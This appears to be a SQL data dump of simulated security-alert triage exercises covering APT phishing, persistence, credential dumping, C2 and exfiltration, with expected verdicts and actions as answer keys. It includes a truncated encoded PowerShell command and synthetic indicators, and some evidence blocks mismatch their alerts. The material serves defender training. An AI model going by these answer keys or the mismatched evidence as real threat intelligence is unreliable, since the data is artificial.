(1143, 'Persistence - Registry Modification', 'high', 'Registry Monitoring Tools', 'Patchwork modifies the Windows registry to maintain persistence, ensuring their backdoor remains active even after system reboots. The registry key associated with the backdoor was altered to execute a malicious binary upon system startup.', 'Persistence Mechanism', 'T1547.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-01T14:35:22Z\",\"event_id\":4624,\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.5\",\"modified_registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"new_value\":\"C:\\\\Windows\\\\System32\\\\maliciousapp.exe\",\"username\":\"victim_user\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"process_id\":1234,\"process_name\":\"regedit.exe\"}', '2026-02-01 14:02:29', '2026-02-23 20:06:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Patchwork APT backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"regedit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable used for persistence by Patchwork APT.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"victim_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.870Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:35:22Z\\\",\\\"event_id\\\":4624,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.5\\\",\\\"modified_registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\maliciousapp.exe\\\",\\\"username\\\":\\\"victim_user\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.870Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:35:22Z\\\",\\\"event_id\\\":4624,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.5\\\",\\\"modified_registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\maliciousapp.exe\\\",\\\"username\\\":\\\"victim_user\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.870Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:35:22Z\\\",\\\"event_id\\\":4624,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.5\\\",\\\"modified_registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\maliciousapp.exe\\\",\\\"username\\\":\\\"victim_user\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.870Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:35:22Z\\\",\\\"event_id\\\":4624,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.5\\\",\\\"modified_registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\maliciousapp.exe\\\",\\\"username\\\":\\\"victim_user\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.870Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:35:22Z\\\",\\\"event_id\\\":4624,\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.5\\\",\\\"modified_registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\maliciousapp.exe\\\",\\\"username\\\":\\\"victim_user\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"process_id\\\":1234,\\\"process_name\\\":\\\"regedit.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1144, 'Lateral Movement - Credential Dumping', 'high', 'Network Traffic Analysis', 'Detected credential dumping activity associated with Patchwork APT group. The actor is attempting lateral movement using harvested credentials to access sensitive areas of the network.', 'Credential Access', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-22T14:32:55Z\",\"event_id\":\"123456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"username\":\"jdoe\",\"executed_command\":\"mimikatz.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"destination_hostname\":\"sensitive-server.internal\",\"network_protocol\":\"SMB\",\"alert_info\":\"Credential dumping detected using mimikatz.exe by Patchwork APT group.\"}', '2026-02-01 14:02:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Patchwork APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of sensitive server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Mimikatz is a known credential dumping tool.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious version of mimikatz.exe.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Valid internal user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1145, 'Exfiltration - Data Compression and Exfil', 'high', 'Data Loss Prevention (DLP) Systems', 'The attackers compressed sensitive data and exfiltrated it to a remote server. The data was observed being sent from an internal IP to a suspicious external IP. The operation involved compressing files before transmission, indicating a step in a larger data exfiltration campaign targeting compromised Pakistani entities.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T11:23:45Z\",\"source_ip\":\"10.0.15.5\",\"destination_ip\":\"203.0.113.45\",\"compressed_file\":\"sensitive_data.zip\",\"hash\":\"3a7bd3e2360a9e3d5b1e4b6c7a5e9f6c\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\",\"username\":\"jdoe\",\"file_size\":\"15MB\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"dlp_policy_triggered\":\"Sensitive Data Exfiltration\"}', '2026-02-01 14:02:29', '2026-02-23 20:07:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.15.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address within the organization.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_research\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a7bd3e2360a9e3d5b1e4b6c7a5e9f6c\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"File hash detected in recent APT campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_dlp\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of sensitive data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.872Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T11:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.15.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"compressed_file\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"3a7bd3e2360a9e3d5b1e4b6c7a5e9f6c\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.872Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T11:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.15.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"compressed_file\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"3a7bd3e2360a9e3d5b1e4b6c7a5e9f6c\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.872Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T11:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.15.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"compressed_file\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"3a7bd3e2360a9e3d5b1e4b6c7a5e9f6c\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.872Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T11:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.15.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"compressed_file\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"3a7bd3e2360a9e3d5b1e4b6c7a5e9f6c\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.872Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T11:23:45Z\\\",\\\"source_ip\\\":\\\"10.0.15.5\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"compressed_file\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"3a7bd3e2360a9e3d5b1e4b6c7a5e9f6c\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_size\\\":\\\"15MB\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"dlp_policy_triggered\\\":\\\"Sensitive Data Exfiltration\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1146, 'Spear Phishing Campaign Detected', 'high', 'Email Security Gateway Logs', 'A spear phishing email was detected targeting key personnel in military and government sectors. The email contains a malicious attachment designed to exploit unpatched vulnerabilities.', 'Initial Access', 'T1566.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T08:43:12Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"email_subject\":\"Urgent: Security Update Required\",\"email_sender\":\"no-reply@security-update.com\",\"recipient_email\":\"john.doe@government.org\",\"attachment_name\":\"SecurityUpdate.exe\",\"attachment_hash\":\"a9f5d8c3b8f9e7d6c2a7f9d0b5e8c4a1\",\"detected\":true,\"action_taken\":\"quarantined\"}', '2026-02-07 21:12:17', '2026-02-23 20:05:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing source IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted user\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"no-reply@security-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Threat Analysis\",\"verdict\":\"malicious\",\"details\":\"Phishing sender\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a9f5d8c3b8f9e7d6c2a7f9d0b5e8c4a1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Campaign Detected\",\"date\":\"2026-02-08T19:00:00.275Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1147, 'Malware Execution via Exploit', 'high', 'Endpoint Detection and Response (EDR) Systems', 'Following the initial access, the attackers exploited a zero-day vulnerability to execute a custom malware named \'StealthRat\' on endpoint 192.168.1.45, gaining control over the system. The malware was executed using a payload dropped by the process svchost.exe, which connected to an external command and control server at 203.0.113.45. The hash of the malicious executable is d41d8cd98f00b204e9800998ecf8427e.', 'Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"1002\",\"event_type\":\"execution\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"process_name\":\"svchost.exe\",\"malware_name\":\"StealthRat\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"event_description\":\"Zero-day exploit used to execute custom malware\"}', '2026-02-07 21:12:17', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Compromised endpoint\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with StealthRat malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1148, 'C2 Communication Established', 'high', 'Network Traffic Analysis', 'Having established a foothold, the attackers set up command and control (C2) channels to maintain persistent access, facilitating further attacks and data exfiltration from the network.', 'Persistence', 'T1105: Ingress Tool Transfer', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-16T14:32:27Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.57\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"uri\":\"/update/check\",\"request_method\":\"GET\",\"response_code\":200,\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"update.exe\"}', '2026-02-07 21:12:17', '2026-02-23 20:06:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malwarebytes\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware sample\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious executable observed in network traffic\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1149, 'Suspicious Email Detected', 'medium', 'Email Gateway Logs', 'An email resembling official communication was intercepted. It is suspected of being a phishing attempt by APT36 to gain initial access. The email was sent from a known malicious IP address and contains an attachment with a suspicious hash.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:00Z\",\"email_id\":\"9876543210\",\"sender_email\":\"support@fakeservice.com\",\"recipient_email\":\"user@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"Invoice_12345.pdf\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\"},\"sender_ip\":\"203.0.113.45\",\"recipient_ip\":\"192.168.1.10\",\"email_gateway\":\"gateway01.company.com\",\"alert_flag\":true}', '2026-02-07 21:13:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known phishing campaigns by APT36.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with malware delivery.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"support@fakeservice.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Email Blacklist\",\"verdict\":\"suspicious\",\"details\":\"Email domain frequently used in phishing attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected\",\"date\":\"2026-02-08T19:00:00.282Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1150, 'Crimson RAT Executed', 'high', 'Endpoint Detection and Response (EDR)', 'Crimson RAT was executed on the victim\'s machine following an initial access through a phishing email. This malware is known for its capabilities to steal information and remotely control infected systems.', 'Malware Execution', 'T1059.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:35:27Z\",\"event_type\":\"process_execution\",\"machine_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"process_name\":\"CrimsonRAT.exe\",\"process_id\":5123,\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":1024,\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\CrimsonRAT.exe\",\"attacker_ip\":\"203.0.113.45\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\CrimsonRAT.exe\"}', '2026-02-07 21:13:34', '2026-02-23 20:01:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the victim\'s machine\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"internal\",\"details\":\"Username associated with the affected machine\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Crimson RAT malware\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP 